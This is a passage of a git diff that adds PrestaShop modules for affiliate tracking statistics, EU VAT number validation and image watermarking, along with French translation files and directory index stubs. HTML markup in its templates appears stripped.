you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + + PrestaShop™ - {l s='Affiliation' mod='trackingfront'} + + + {include file="$tpl_dir./errors.tpl"} +
        +
        +
        {l s='Affiliation space' mod='trackingfront'}
        +
        +
        +
        + +
        +
        + +
        +
        +
        +
        +
        +
        + + + \ No newline at end of file diff --git a/modules/trackingfront/logo.gif b/modules/trackingfront/logo.gif new file mode 100755 index 0000000..117f962 Binary files /dev/null and b/modules/trackingfront/logo.gif differ diff --git a/modules/trackingfront/logo.png b/modules/trackingfront/logo.png new file mode 100755 index 0000000..3cc36b9 Binary files /dev/null and b/modules/trackingfront/logo.png differ diff --git a/modules/trackingfront/stats.php b/modules/trackingfront/stats.php new file mode 100755 index 0000000..59752d4 --- /dev/null +++ b/modules/trackingfront/stats.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include(dirname(__FILE__).'/../../config/config.inc.php'); +include(dirname(__FILE__).'/../../init.php'); +include(dirname(__FILE__).'/trackingfront.php'); + +$tf = new TrackingFront(); +if (!$tf->active) + Tools::redirect('index.php?controller=404'); +$tf->postProcess(); +echo $tf->isLogged() ? $tf->displayAccount() : $tf->displayLogin(); + diff --git a/modules/trackingfront/trackingfront.php b/modules/trackingfront/trackingfront.php new file mode 100755 index 0000000..90626d8 --- /dev/null +++ b/modules/trackingfront/trackingfront.php @@ -0,0 +1,255 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class TrackingFront extends Module +{ + public function __construct() + { + $this->name = 'trackingfront'; + $this->tab = 'shipping_logistics'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Tracking - Front office'); + $this->description = $this->l('Enable your affiliates to access their own statistics.'); + } + + public function postProcess() + { + if (Tools::isSubmit('ajaxProductFilter')) + { + $fakeEmployee = new Employee(); + $fakeEmployee->stats_date_from = $this->context->cookie->stats_date_from; + $fakeEmployee->stats_date_to = $this->context->cookie->stats_date_to; + $result = Db::getInstance()->getRow(' + SELECT `id_referrer` + FROM `'._DB_PREFIX_.'referrer` + WHERE `id_referrer` = '.(int)(Tools::getValue('id_referrer')).' AND `passwd` = \''.pSQL(Tools::getValue('token')).'\''); + if (isset($result['id_referrer']) ? $result['id_referrer'] : false) + Referrer::getAjaxProduct((int)(Tools::getValue('id_referrer')), (int)(Tools::getValue('id_product')), $fakeEmployee); + } + elseif (Tools::isSubmit('logout_tracking')) + { + unset($this->context->cookie->tracking_id); + unset($this->context->cookie->tracking_passwd); + Tools::redirect('modules/trackingfront/stats.php'); + } + elseif (Tools::isSubmit('submitLoginTracking')) + { + $errors = array(); + $login = trim(Tools::getValue('login')); + $passwd = trim(Tools::getValue('passwd')); + if (empty($login)) + $errors[] = $this->l('login is required'); + elseif (!Validate::isGenericName($login)) + $errors[] = $this->l('invalid login'); + elseif (empty($passwd)) + $errors[] = $this->l('password is required'); + elseif (!Validate::isPasswd($passwd,1)) + $errors[] = $this->l('invalid password'); + else + { + $passwd = Tools::encrypt($passwd); + $result = Db::getInstance()->getRow(' + SELECT `id_referrer` + FROM `'._DB_PREFIX_.'referrer` + WHERE `name` = \''.pSQL($login).'\' AND `passwd` = \''.pSQL($passwd).'\''); + if (!isset($result['id_referrer']) OR !($tracking_id = (int)($result['id_referrer']))) + $errors[] = $this->l('authentication failed'); + else + { + $this->context->cookie->tracking_id = $tracking_id; + $this->context->cookie->tracking_passwd = $passwd; + Tools::redirect('modules/trackingfront/stats.php'); + } + } + $this->smarty->assign('errors', $errors); + } + + if (Tools::isSubmit('submitDatePicker')) + { + $this->context->cookie->stats_date_from = Tools::getValue('datepickerFrom'); + $this->context->cookie->stats_date_to = Tools::getValue('datepickerTo'); + } + if (Tools::isSubmit('submitDateDay')) + { + $from = date('Y-m-d'); + $to = date('Y-m-d'); + } + if (Tools::isSubmit('submitDateDayPrev')) + { + $yesterday = time() - 60*60*24; + $from = date('Y-m-d', $yesterday); + $to = date('Y-m-d', $yesterday); + } + if (Tools::isSubmit('submitDateMonth')) + { + $from = date('Y-m-01'); + $to = date('Y-m-t'); + } + if (Tools::isSubmit('submitDateMonthPrev')) + { + $m = (date('m') == 1 ? 12 : date('m') - 1); + $y = ($m == 12 ? date('Y') - 1 : date('Y')); + $from = $y.'-'.$m.'-01'; + $to = $y.'-'.$m.date('-t', mktime(12, 0, 0, $m, 15, $y)); + } + if (Tools::isSubmit('submitDateYear')) + { + $from = date('Y-01-01'); + $to = date('Y-12-31'); + } + if (Tools::isSubmit('submitDateYearPrev')) + { + $from = (date('Y') - 1).date('-01-01'); + $to = (date('Y') - 1).date('-12-31'); + } + } + + public function isLogged() + { + if (!$this->context->cookie->tracking_id OR !$this->context->cookie->tracking_passwd) + return false; + $result = Db::getInstance()->getRow(' + SELECT `id_referrer` + FROM `'._DB_PREFIX_.'referrer` + WHERE `id_referrer` = '.(int)($this->context->cookie->tracking_id).' AND `passwd` = \''.pSQL($this->context->cookie->tracking_passwd).'\''); + return isset($result['id_referrer']) ? $result['id_referrer'] : false; + } + + public function displayLogin() + { + return $this->display(__FILE__, 'login.tpl'); + } + + public function displayAccount() + { + if (!isset($this->context->cookie->stats_date_from)) + $this->context->cookie->stats_date_from = date('Y-m-01'); + if (!isset($this->context->cookie->stats_date_to)) + $this->context->cookie->stats_date_to = date('Y-m-t'); + Referrer::refreshCache(array(array('id_referrer' => (int)$this->context->cookie->tracking_id))); + + $referrer = new Referrer((int)($this->context->cookie->tracking_id)); + $this->smarty->assign('referrer', $referrer); + $this->smarty->assign('datepickerFrom', $this->context->cookie->stats_date_from); + $this->smarty->assign('datepickerTo', $this->context->cookie->stats_date_to); + + $displayTab = array( + 'uniqs' => $this->l('Unique visitors'), + 'visitors' => $this->l('Visitors'), + 'visits' => $this->l('Visits'), + 'pages' => $this->l('Pages viewed'), + 'registrations' => $this->l('Registrations'), + 'orders' => $this->l('Orders'), + 'base_fee' => $this->l('Base fee'), + 'percent_fee' => $this->l('Percent fee'), + 'click_fee' => $this->l('Click fee'), + 'sales' => $this->l('Sales'), + 'cart' => $this->l('Average cart'), + 'reg_rate' => $this->l('Registration rate'), + 'order_rate' => $this->l('Order rate')); + $this->smarty->assign('displayTab', $displayTab); + + $products = Product::getSimpleProducts($this->context->language->id); + $productsArray = array(); + foreach ($products as $product) + $productsArray[] = $product['id_product']; + + $echo = ' + '; + + $echo2 = ' + '; + + return $this->display(__FILE__, 'header.tpl').$echo.$this->display(__FILE__, 'account.tpl').$echo2; + } +} + diff --git a/modules/trackingfront/translations/fr.php b/modules/trackingfront/translations/fr.php new file mode 100755 index 0000000..bb5bd5b --- /dev/null +++ b/modules/trackingfront/translations/fr.php @@ -0,0 +1,52 @@ +account_8954e140059f7b2544469f40161ba507'] = 'Espace affilié'; +$_MODULE['<{trackingfront}prestashop>account_0323de4f66a1700e2173e9bcdce02715'] = 'Déconnexion'; +$_MODULE['<{trackingfront}prestashop>account_1dd1c5fb7f25cd41b291d43a89e3aefd'] = 'Aujourd\'hui'; +$_MODULE['<{trackingfront}prestashop>account_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{trackingfront}prestashop>account_537c66b24ef5c83b7382cdc3f34885f2'] = 'Année'; +$_MODULE['<{trackingfront}prestashop>account_1e6d57e813355689e9c77e947d73ad8f'] = 'Du'; +$_MODULE['<{trackingfront}prestashop>account_33caa076f23f453dd4061726f3706325'] = 'au'; +$_MODULE['<{trackingfront}prestashop>account_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{trackingfront}prestashop>account_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{trackingfront}prestashop>account_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; +$_MODULE['<{trackingfront}prestashop>account_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{trackingfront}prestashop>account_453aceb005ceaf54a47da15fee8b2a26'] = 'Pages vues'; +$_MODULE['<{trackingfront}prestashop>account_591411cc8927851db2002208676d8330'] = 'Inscriptions'; +$_MODULE['<{trackingfront}prestashop>account_a9841e29f2c8180709b16cd2a13c55fe'] = 'Com.'; +$_MODULE['<{trackingfront}prestashop>account_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventes'; +$_MODULE['<{trackingfront}prestashop>account_a85eba4c6c699122b2bb1387ea4813ad'] = 'Panier'; +$_MODULE['<{trackingfront}prestashop>account_43005b13d452a4ad6f2d8e29b499c55a'] = 'Tx insc.'; +$_MODULE['<{trackingfront}prestashop>account_e14c8640d236365d11a060832b219a11'] = 'Tx com.'; +$_MODULE['<{trackingfront}prestashop>account_316853cc3718335f11c048e33b9be98a'] = 'Clics'; +$_MODULE['<{trackingfront}prestashop>account_b450fdef2453e92c31263a70f14fbd7b'] = '¤'; +$_MODULE['<{trackingfront}prestashop>account_0bcef9c45bd8a48eda1b26eb0c61c869'] = '%'; +$_MODULE['<{trackingfront}prestashop>header_bf15e68d25d8a2b7664950ba7385ed0a'] = 'Affiliation'; +$_MODULE['<{trackingfront}prestashop>login_bf15e68d25d8a2b7664950ba7385ed0a'] = 'Affiliation'; +$_MODULE['<{trackingfront}prestashop>login_8954e140059f7b2544469f40161ba507'] = 'Espace affilié'; +$_MODULE['<{trackingfront}prestashop>login_99dea78007133396a7b8ed70578ac6ae'] = 'Identifiant'; +$_MODULE['<{trackingfront}prestashop>login_dc647eb65e6711e155375218212b3964'] = 'Mot de passe'; +$_MODULE['<{trackingfront}prestashop>login_bffe9a3c9a7e00ba00a11749e022d911'] = 'Connexion'; +$_MODULE['<{trackingfront}prestashop>trackingfront_e8a827db4eca37d2c6cdef8e406f6fa9'] = 'Affiliation - Accès boutique'; +$_MODULE['<{trackingfront}prestashop>trackingfront_68d4e1b474858937b300e27273283f41'] = 'Permet aux affiliés de consulter leurs statistiques'; +$_MODULE['<{trackingfront}prestashop>trackingfront_8f5ac7793b2547cd025a7335f4934d26'] = 'identifiant requis'; +$_MODULE['<{trackingfront}prestashop>trackingfront_6f658a5bbec855ca5ae4ef4c94eb5d43'] = 'identifiant invalide'; +$_MODULE['<{trackingfront}prestashop>trackingfront_962c91be4b1056412febf0c272760814'] = 'mot de passe requis'; +$_MODULE['<{trackingfront}prestashop>trackingfront_703c2b69e5d9f7072b7db5338214448b'] = 'mot de passe invalide'; +$_MODULE['<{trackingfront}prestashop>trackingfront_c41c77e4dddc04b1e0752a6050ae5656'] = 'identifiation échouée'; +$_MODULE['<{trackingfront}prestashop>trackingfront_10965b2740f42ad4887932c35cee26ab'] = 'Visiteurs uniques'; +$_MODULE['<{trackingfront}prestashop>trackingfront_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; +$_MODULE['<{trackingfront}prestashop>trackingfront_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{trackingfront}prestashop>trackingfront_d3139f39f1ad6324c80a9ddd50cc7867'] = 'Pages vues'; +$_MODULE['<{trackingfront}prestashop>trackingfront_a28735af01fbb1e35371cb120985ac47'] = 'Inscriptions'; +$_MODULE['<{trackingfront}prestashop>trackingfront_7442e29d7d53e549b78d93c46b8cdcfc'] = 'Commandes'; +$_MODULE['<{trackingfront}prestashop>trackingfront_2e27c4006a026eacfc1f85b41bf9bc4c'] = 'Commission €'; +$_MODULE['<{trackingfront}prestashop>trackingfront_86190054fc32554662ffbb12b717e8d0'] = 'Commission %'; +$_MODULE['<{trackingfront}prestashop>trackingfront_51d53cd2ecdae6b5dd3397875197e898'] = 'Commission au clic'; +$_MODULE['<{trackingfront}prestashop>trackingfront_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventes'; +$_MODULE['<{trackingfront}prestashop>trackingfront_da9cb586c6689202ca65cd77fd9b84ef'] = 'Panier moyen'; +$_MODULE['<{trackingfront}prestashop>trackingfront_200f5c9c419f0a53d5d361eff7b33abc'] = 'Taux d\'inscription'; +$_MODULE['<{trackingfront}prestashop>trackingfront_89741aae300253f498b0993fa678fa18'] = 'Taux de commandes'; diff --git a/modules/trackingfront/translations/index.php b/modules/trackingfront/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/trackingfront/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/vatnumber/VATNumberTaxManager.php b/modules/vatnumber/VATNumberTaxManager.php new file mode 100755 index 0000000..9a2c156 --- /dev/null +++ b/modules/vatnumber/VATNumberTaxManager.php @@ -0,0 +1,45 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class VATNumberTaxManager implements TaxManagerInterface +{ + public static function isAvailableForThisAddress(Address $address) + { + return (!empty($address->vat_number) + AND $address->id_country != Configuration::get('VATNUMBER_COUNTRY') + AND Configuration::get('VATNUMBER_MANAGEMENT')); + } + + public function getTaxCalculator() + { + // If the address matches the european vat number criterias no taxes are applied + $tax = new Tax(); + $tax->rate = 0; + + return new TaxCalculator(array($tax)); + } +} + diff --git a/modules/vatnumber/ajax.php b/modules/vatnumber/ajax.php new file mode 100755 index 0000000..684a542 --- /dev/null +++ b/modules/vatnumber/ajax.php @@ -0,0 +1,30 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include(dirname(__FILE__). '/../../config/config.inc.php'); +include(dirname(__FILE__). '/../../init.php'); +include(dirname(__FILE__). '/vatnumber.php'); + +echo VatNumber::isApplicable(Tools::getValue('id_country')); diff --git a/modules/vatnumber/index.php b/modules/vatnumber/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/vatnumber/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/vatnumber/logo.gif b/modules/vatnumber/logo.gif new file mode 100755 index 0000000..78c325d Binary files /dev/null and b/modules/vatnumber/logo.gif differ diff --git a/modules/vatnumber/logo.png b/modules/vatnumber/logo.png new file mode 100755 index 0000000..b67b1b4 Binary files /dev/null and b/modules/vatnumber/logo.png differ diff --git a/modules/vatnumber/translations/fr.php b/modules/vatnumber/translations/fr.php new file mode 100755 index 0000000..1c2d726 --- /dev/null +++ b/modules/vatnumber/translations/fr.php @@ -0,0 +1,16 @@ +vatnumber_b0b9a606a1c251323825ca45d40964dc'] = 'Aucun pays par défaut n\'a été défini.'; +$_MODULE['<{vatnumber}prestashop>vatnumber_cee549912e318726d2c4989bb507665f'] = 'Numéro de TVA Europeen'; +$_MODULE['<{vatnumber}prestashop>vatnumber_daa44329eceb03dc085a668376af07f5'] = 'Permet de renseigner son numéro de TVA intra-communautaire lors de la création d\'une adresse (vous devez d\'abord renseigner le champ \"Société\" pour pouvoir saisir votre numéro de TVA)'; +$_MODULE['<{vatnumber}prestashop>vatnumber_162b29cf61678af2aaac37f440265c28'] = 'Votre pays a été mis à jour.'; +$_MODULE['<{vatnumber}prestashop>vatnumber_0ca51bcd22e4d7b56b6f1d8a01cefc1f'] = 'La vérification du numéro de TVA avec le service web est maintenant activé.'; +$_MODULE['<{vatnumber}prestashop>vatnumber_467c214bb76759108ece49873eda44e4'] = 'La vérification du numéro de TVA avec le service web est maintenant désactivé.'; +$_MODULE['<{vatnumber}prestashop>vatnumber_56564e0a106b0e0e2dc57b5a105ed639'] = 'Votre pays'; +$_MODULE['<{vatnumber}prestashop>vatnumber_038b34b36ec9eaf5f96d11e17f208f1b'] = '-- Choisissez un pays --'; +$_MODULE['<{vatnumber}prestashop>vatnumber_ab73ac60f122e6493f53ba7699ae2139'] = 'Activer la vérification du numéro de TVA avec le service web'; +$_MODULE['<{vatnumber}prestashop>vatnumber_0a57ec92318a15681fb878bc2931480c'] = 'La vérification du numéro de TVA avec le WebService est lente. Activer cette option peut ralentir votre boutique.'; +$_MODULE['<{vatnumber}prestashop>vatnumber_38fb7d24e0d60a048f540ecb18e13376'] = 'Sauvegarder'; diff --git a/modules/vatnumber/translations/index.php b/modules/vatnumber/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/vatnumber/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/vatnumber/vatnumber.php b/modules/vatnumber/vatnumber.php new file mode 100755 index 0000000..2db5775 --- /dev/null +++ b/modules/vatnumber/vatnumber.php @@ -0,0 +1,186 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class VatNumber extends TaxManagerModule +{ + public function __construct() + { + $this->name = 'vatnumber'; + $this->tab = 'billing_invoicing'; + $this->version = 1.2; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + $this->tax_manager_class = 'VATNumberTaxManager'; + + parent::__construct(); + $id_country = (int)Configuration::get('VATNUMBER_COUNTRY'); + + if ($id_country == 0) + $this->warning = $this->l('No default country set.'); + + $this->displayName = $this->l('European VAT number'); + $this->description = $this->l('Enable entering of the VAT intra-community number when creating the address (You must fill in the company field to allow keyboarding VAT number)'); + } + + public function install() + { + return (parent::install() AND Configuration::updateValue('VATNUMBER_MANAGEMENT', 1)); + } + + public function uninstall() + { + return (parent::uninstall() AND Configuration::updateValue('VATNUMBER_MANAGEMENT', 0)); + } + + public function enable($forceAll = false) + { + parent::enable(); + Configuration::updateValue('VATNUMBER_MANAGEMENT', 1); + } + + public function disable($forceAll = false) + { + parent::disable(); + Configuration::updateValue('VATNUMBER_MANAGEMENT', 0); + } + + public static function getPrefixIntracomVAT() + { + $intracom_array = array( + 'AT'=>'AT', //Austria + 'BE'=>'BE', //Belgium + 'DK'=>'DK', //Denmark + 'FI'=>'FI', //Finland + 'FR'=>'FR', //France + 'FX'=>'FR', //France m�tropolitaine + 'DE'=>'DE', //Germany + 'GR'=>'EL', //Greece + 'IE'=>'IE', //Irland + 'IT'=>'IT', //Italy + 'LU'=>'LU', //Luxembourg + 'NL'=>'NL', //Netherlands + 'PT'=>'PT', //Portugal + 'ES'=>'ES', //Spain + 'SE'=>'SE', //Sweden + 'GB'=>'GB', //United Kingdom + 'CY'=>'CY', //Cyprus + 'EE'=>'EE', //Estonia + 'HU'=>'HU', //Hungary + 'LV'=>'LV', //Latvia + 'LT'=>'LT', //Lithuania + 'MT'=>'MT', //Malta + 'PL'=>'PL', //Poland + 'SK'=>'SK', //Slovakia + 'CZ'=>'CZ', //Czech Republic + 'SI'=>'SI', //Slovenia + 'RO'=>'RO', //Romania + 'BG'=>'BG' //Bulgaria + ); + return $intracom_array; + } + + public static function isApplicable($id_country) + { + return (((int)$id_country AND in_array(Country::getIsoById($id_country), self::getPrefixIntracomVAT())) ? 1 : 0); + } + + public static function WebServiceCheck($vatNumber) + { + if (empty($vatNumber)) + return array(); + $vatNumber = str_replace(' ', '', $vatNumber); + $prefix = substr($vatNumber, 0, 2); + if (array_search($prefix, self::getPrefixIntracomVAT()) === false) + return array(Tools::displayError('Invalid VAT number')); + $vat = substr($vatNumber, 2); + $url = 'http://ec.europa.eu/taxation_customs/vies/viesquer.do?ms='.urlencode($prefix).'&iso='.urlencode($prefix).'&vat='.urlencode($vat); + @ini_set('default_socket_timeout', 2); + for ($i = 0; $i < 3; $i++) + { + if ($pageRes = file_get_contents($url)) + { + if (preg_match('/invalid VAT number/i', $pageRes)) + { + @ini_restore('default_socket_timeout'); + return array(Tools::displayError('VAT number not found')); + } + else if (preg_match('/valid VAT number/i', $pageRes)) + { + @ini_restore('default_socket_timeout'); + return array(); + } + else + ++$i; + } + else + sleep(1); + } + @ini_restore('default_socket_timeout'); + return array(Tools::displayError('VAT number validation service unavailable')); + } + + public function getContent() + { + $echo = ''; + + if (Tools::isSubmit('submitVatNumber')) + { + if (Configuration::updateValue('VATNUMBER_COUNTRY', (int)(Tools::getValue('vatnumber_country')))) + $echo .= $this->displayConfirmation($this->l('Your country has been updated.')); + $check = (int)Tools::getValue('vatnumber_checking'); + if (Configuration::get('VATNUMBER_CHECKING') != $check AND Configuration::updateValue('VATNUMBER_CHECKING', $check)) + $echo .= ($check ? $this->displayConfirmation($this->l('The check of the VAT number with the WebService is now enabled.')) : $this->displayConfirmation($this->l('The check of the VAT number with the WebService is now disabled.'))); + } + $echo .= ' +
        '.$this->displayName.' +
        + +
        + +
        +
         
        + +
        + +

        '.$this->l('The verification by the webservice is slow. Enabling this option can slow down your shop.').'

        +
        +
         
        +
        + +
        +
        +
        '; + return $echo; + } +} diff --git a/modules/watermark/index.php b/modules/watermark/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/watermark/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/watermark/logo.gif b/modules/watermark/logo.gif new file mode 100755 index 0000000..e4b4d25 Binary files /dev/null and b/modules/watermark/logo.gif differ diff --git a/modules/watermark/logo.png b/modules/watermark/logo.png new file mode 100755 index 0000000..5fc148d Binary files /dev/null and b/modules/watermark/logo.png differ diff --git a/modules/watermark/translations/fr.php b/modules/watermark/translations/fr.php new file mode 100755 index 0000000..04b5c37 --- /dev/null +++ b/modules/watermark/translations/fr.php @@ -0,0 +1,31 @@ +watermark_ee20bb60493f049175fc10c35acd2272'] = 'Filigrane'; +$_MODULE['<{watermark}prestashop>watermark_8d7c07bcea7e80d072308e4bd4cc37b0'] = 'Protégez vos images avec un filigrane'; +$_MODULE['<{watermark}prestashop>watermark_fa214007826415a21a8456e3e09f999d'] = 'Êtes-vous sûr de vouloir tout supprimer ?'; +$_MODULE['<{watermark}prestashop>watermark_e7bbd7019d9f73bc63f406de1422d989'] = 'Le filigrane doit être chargé pour que le module fonctionne correctement'; +$_MODULE['<{watermark}prestashop>watermark_f26d820220f1db94ea35bb61d95a80f4'] = 'La transparence est requise'; +$_MODULE['<{watermark}prestashop>watermark_78d0b1c450a31c9728488a6b0a893e8a'] = 'Valeur incorrecte pour la transparence'; +$_MODULE['<{watermark}prestashop>watermark_d31c2d99614d8e16430d2d8c99c1f2b0'] = 'Alignement Y requis'; +$_MODULE['<{watermark}prestashop>watermark_8fe9c39f4bf87082caabcf3650970c71'] = 'Valeur incorrecte pour l\'alignement en Y'; +$_MODULE['<{watermark}prestashop>watermark_c2cf8e33c907a4cc689881dc8fa571c2'] = 'Alignement X requis'; +$_MODULE['<{watermark}prestashop>watermark_3a1f788dbe8957be92048606cf0d3fcb'] = 'Valeur incorrecte pour l\'alignement en X'; +$_MODULE['<{watermark}prestashop>watermark_a9cac4be0fa0b815376b96f49e1435d7'] = 'Au moins un type d\'image doit être selectionné'; +$_MODULE['<{watermark}prestashop>watermark_b670770ad59c1f8e7fb65f276074172b'] = 'l\'image doit être au format GIF'; +$_MODULE['<{watermark}prestashop>watermark_130aab6764f25267c79cef371270eb2a'] = 'Une erreur est survenue durant la récupération du filigrane : %1$s à %2$s'; +$_MODULE['<{watermark}prestashop>watermark_444bcb3a3fcf8389296c49467f27e1d6'] = 'OK'; +$_MODULE['<{watermark}prestashop>watermark_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres sauvegardés'; +$_MODULE['<{watermark}prestashop>watermark_c0275788cf97660b52ab23f1f8c7c8d7'] = 'Configuration du filigrane'; +$_MODULE['<{watermark}prestashop>watermark_cc99ba657a4a5ecf9d2d7cb974d25596'] = 'Une fois que vous avez configuré le module, vous devez régénérer les images à l\'aide de l\'outil disponible dans Préférences > Images. Notez que le filigrane sera intégré automatiquement aux nouvelles images que vous ajouterez.'; +$_MODULE['<{watermark}prestashop>watermark_c23549e174914e9796db47d27c49eb95'] = 'Aucun filigrane pour le moment'; +$_MODULE['<{watermark}prestashop>watermark_c9519bff5a6fe31e0f26b1c52dad7ad8'] = 'Fichier du filigrane'; +$_MODULE['<{watermark}prestashop>watermark_ce4ca541df51a63fd8e78e0da29e1d44'] = 'Doit être au format GIF'; +$_MODULE['<{watermark}prestashop>watermark_3ccc25c1409aec574beb82bad14b5ebc'] = 'Transparence'; +$_MODULE['<{watermark}prestashop>watermark_acf0fa79a73731e7d70cb208a62c249a'] = 'Alignement en X'; +$_MODULE['<{watermark}prestashop>watermark_489f2e730102b59aec48b5c27d2cbe1c'] = 'Alignement en Y'; +$_MODULE['<{watermark}prestashop>watermark_8d92a725c5abead5353e60e0b2fc7d6d'] = 'Choisissez les types d\'image pour lesquels le filigrane doit s\'appliquer'; +$_MODULE['<{watermark}prestashop>watermark_b17f3f4dcf653a5776792498a9b44d6a'] = 'Sauvegarder'; +$_MODULE['<{watermark}prestashop>watermark_220d9102465c9223781b8f99af48c154'] = 'votre image filigrane n\'est pas un vrai format gif, merci de le convertir au lieu de la renommer'; diff --git a/modules/watermark/translations/index.php b/modules/watermark/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/watermark/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/watermark/watermark.gif b/modules/watermark/watermark.gif new file mode 100755 index 0000000..05fb556 Binary files /dev/null and b/modules/watermark/watermark.gif differ diff --git a/modules/watermark/watermark.php b/modules/watermark/watermark.php new file mode 100755 index 0000000..55901e2 --- /dev/null +++ b/modules/watermark/watermark.php @@ -0,0 +1,287 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Watermark extends Module +{ + private $_html = ''; + private $_postErrors = array(); + private $xaligns = array('left', 'middle', 'right'); + private $yaligns = array('top', 'middle', 'bottom'); + private $yAlign; + private $xAlign; + private $transparency; + private $imageTypes = array(); + private $watermarkTypes; + + public function __construct() + { + $this->name = 'watermark'; + $this->tab = 'administration'; + $this->version = '0.3'; + $this->author = 'PrestaShop'; + + parent::__construct(); + + $config = Configuration::getMultiple(array('WATERMARK_TYPES', 'WATERMARK_Y_ALIGN', 'WATERMARK_X_ALIGN', 'WATERMARK_TRANSPARENCY')); + if (!isset($config['WATERMARK_TYPES'])) + $config['WATERMARK_TYPES'] = ''; + $tmp = explode(',', $config['WATERMARK_TYPES']); + foreach (ImageType::getImagesTypes('products') as $type) + if (in_array($type['id_image_type'], $tmp)) + $this->imageTypes[] = $type; + + $this->yAlign = isset($config['WATERMARK_Y_ALIGN']) ? $config['WATERMARK_Y_ALIGN'] : ''; + $this->xAlign = isset($config['WATERMARK_X_ALIGN']) ? 